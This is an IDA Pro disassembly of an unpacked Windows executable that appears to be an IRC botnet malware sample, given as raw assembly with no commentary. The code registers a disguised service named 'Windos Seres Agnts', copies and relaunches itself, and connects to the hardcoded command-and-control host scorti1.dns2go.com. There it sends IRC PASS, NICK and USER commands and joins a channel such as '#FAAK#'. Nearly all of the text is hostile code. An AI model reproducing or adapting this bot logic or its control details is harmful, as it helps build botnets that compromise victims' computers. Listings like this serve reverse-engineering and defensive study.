; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 435C9D8B84269C79EE40993180EE7892 ; File Name : u:\work\435c9d8b84269c79ee40993180ee7892_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C call sub_40B583 call dword_4CB92C call dword_4CB92C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 26709F6h lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2670000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2660B67h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 push 7530h push offset aSbrsfgf ; "sbrsfgf" push ebx push ebx nop call near ptr 2690262h push eax nop call near ptr 26901A5h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB944 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 26709F6h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2690000h nop push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AC8 lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2680E33h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680D6Ah loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2680972h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2670E97h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2680D6Ah nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB88 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2680918h push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_433094o nop call near ptr 26802EFh lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2660B67h test eax, eax jz short loc_401516 push 0C8h call near ptr 2670E97h nop push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB92C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26901A5h push esi nop call near ptr 26608D5h mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2670E97h mov eax, dword_4DBDFC push dword ptr [eax+8] nop call near ptr 26801F9h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 nop call near ptr 2680972h push eax lea eax, [ebp-0A0h] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A nop call near ptr 2680972h push eax lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670E97h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB92C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2670E97h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C push 1388h nop call near ptr 2670E97h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670E97h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h 